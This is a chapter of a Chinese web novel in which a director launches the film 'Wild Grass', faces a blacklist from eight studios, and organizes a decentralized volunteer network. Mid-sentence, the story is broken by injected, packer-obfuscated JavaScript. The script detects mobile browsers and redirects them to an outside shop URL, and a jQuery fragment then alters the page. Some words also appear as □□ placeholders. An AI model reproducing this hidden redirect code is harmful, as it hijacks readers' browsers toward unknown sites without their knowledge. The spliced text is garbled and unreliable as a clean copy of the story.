全国会议的金色掌声还在耳畔回响,第四天,《野草》项目立项发布会就在透明创作联盟的玻璃礼堂举行。
玻璃墙外是北京的秋日晴空,墙内是挤满的媒体长枪短炮。
沈小鱼站在舞台中央,身后巨幕上是电影的概念海报——
一片焦黑的荒原上,一株野草从裂缝中钻出,草尖悬着一滴将坠未坠的露水,露水里倒映着一个女孩模糊的侧脸。
“电影《野草》,今天正式立项。”
沈小鱼的声音透过麦克风清晰传出,“导演沈小鱼,编剧陆青然,女主角许昕。这是一部关于伤痕、生长与沉默的作品。它不会给你答案,只会给你一面镜子——照见我们每个人心里,那片被现实焚烧过,却依然在等待萌发的荒原。”
台下闪光灯如星海闪烁。
提问环节,第一个记者的问题就带着刺:
“沈导,据悉《野草》预算高达五千万,而您的新规则基金目前可动用资金不足三千万。资金缺口如何解决?是否会引入传统资本?”
沈小鱼神色平静:
“资金缺口,我们将通过第二轮定向众筹解决。这次不面向大众,只面向认可项目理念的行业伙伴和个人。我们已经在联盟平台开放了‘共创者’报名通道。”
“如果募资失败呢?”
“那就用三千万拍。”
沈小鱼说,“好故事的核心从来不是钱,是人心。”
第二个记者追问:
“有传言说,八大公司已经达成共识,任何院线、平台、广告商如果与《野草》合作,都将进入行业黑名单。您如何应对这种全链条封杀?”
全场瞬间安静。
沈小鱼看着那个记者,忽然笑了。
那笑容不是轻松,而是一种近乎悲悯的透彻:
“如果拍一部电影需要先获得‘□□’持有者的许可,那这部电影从一开始就不该存在。”
她顿了顿,一字一句,“《野草》要做的,就是成为那株从□□的裂缝里长出来的草。它可能弱小,但它活着。而活着,就是对死亡最好的反抗。”
发布会结束一小时后,□□升级版果然来了。
不是公开声明,而是一份在行业高层微信群、加密邮件组里悄然流传的《关于维护行业健□□态的联合备忘录》。
备忘录核心只有一条:
“即日起,凡投资、发行、宣传、播出电影《野草》及相关衍生内容的机构与个人,本联合体(星光传媒、华艺影视、盛世文化、星辰影业、天光传媒、悦动影业、东方梦工厂、世纪影业)将终止与其一切合作,并在各项行业评优、政策扶持、资源共享等方面予以一票否决。”
备忘录末尾,是八家公司的公章扫描件,鲜红刺目。
这不再是一场商业竞争,而是一纸“行业驱逐令”。
陆青然握着打印出来的备忘录,手指捏得发白:
“他们连‘联合体’这种词都用上了……这是要彻底把我们钉死在行业边缘。”
沈小鱼接过那张纸,看着那八个鲜红的圆章,忽然说:
“像不像八个坟头?”
陆青然愣住。
“给旧时代立的坟。”
沈小鱼把纸对折,再对折,折成一个小小的方块,扔进垃圾桶,“可惜,时代还没死,立坟的人倒先急了。”
但急归急,□□的威力开始以肉眼可见的速度显现。
首先是投资渠道彻底冰封。
原本有意向的几家文创基金,在收到备忘录后纷纷致电道歉:
“沈导,实在对不起,压力太大了……”
连新规则基金的几位个人投资者也开始动摇,要求提前退出。
然后是播出渠道。
原本火花TV承诺的独家首播,在徐燃被股东连夜召去开会后,变得暧昧不明。
徐燃凌晨三点给沈小鱼发信息:
“对不起,我可能要失信了。他们用撤资威胁……”
最致命的是,连基础的生产资料都开始被卡脖子。
合作的剪辑公司突然解约,理由是“设备故障”;
预定的配音棚“临时装修”;
甚至连剧组盒饭的供应商都打来电话:
“沈导,不好意思啊,我们接了个大单,您这边的活我们接不了了……”
《野草》项目就像一株刚破土的幼苗,被八只巨脚从四面八方狠狠踩下。
深夜,沈小鱼独自坐在漆黑的会议室里,面前摊开的是《野草》的分镜脚本。
窗外城市的霓虹透过玻璃,在她脸上投下冷暖交织的光影。
手机屏幕亮起,是许昕发来的信息:
“沈老师,我听说了。我不怕。大不了我们回云南拍,用手机拍。”
沈小鱼看着那条信息,很久,回复:
“不用。我们就用北京这块地,这块他们最熟悉、最自以为掌控一切的地,长出一株让他们看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015888|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不懂的野草。”
她站起身,打开灯,刺目的白光充盈整个空间。
然后她打开联盟官网的后台,启动了一个名为“荒原播种计划”的加密程序。
程序界面简洁,只有一个输入框和三个按钮:
【播种者登记】
【资源地图】
【生长日志】
这是她在全国会议前就秘密让技术团队开发的去中心化协作系统。
系统不依赖任何中心服务器,所有数据分布式存储在每个参与者的设备里。
八大公司可以封杀平台,却封杀不了散落在无数台手机、电脑里的数据碎片。
她在输入框里键入第一行字:
“《野草》项目,今日起进入‘地下生长’阶段。
所有资源对接、进度同步、资金流转,皆通过本系统完成。
我们可能看不见彼此,但每一条数据,都是荒原下的根须,在黑暗中沉默生长。”
点击发送。
十秒后,系统显示第一条回应:
“播种者001号已登记。可提供朝阳区废弃工厂一处,免费使用三个月。”
接着是第二条:
“播种者013号。独立剪辑师,可远程支援。”
第三条:
“播种者027号。退伍汽车兵,可负责剧组物料运输,自带货车。”
第四条、第五条……
数字在滚动,像黑夜中次第亮起的萤火。
沈小鱼看着屏幕上跳动的信息流,忽然想起严华那句话:
“真正的创作,有时就是‘杀人’。”
现在,她要杀的,不是人。
是那堵自以为坚不可摧的墙。
而她手中的刀,就是这些散落在各处、微弱的、却不肯熄灭的光。
凌晨四点,系统显示登记人数突破三百。
沈小鱼关掉电脑,走到窗边。
天边已经泛起蟹壳青。
她拿出手机,给那个最初提问的记者发了条信息:
“请转告那些发备忘录的人——”
“野草生于荒原,长于裂痕,死于践踏,却永绝于臣服。”
“而我们,就是野草。”
发送。
她放下手机,看着玻璃上自己模糊的倒影。
倒影里,那个曾经用搞笑伪装自己的女孩,如今眼神像淬过火的刀。
亮的灼人,也冷的刺骨。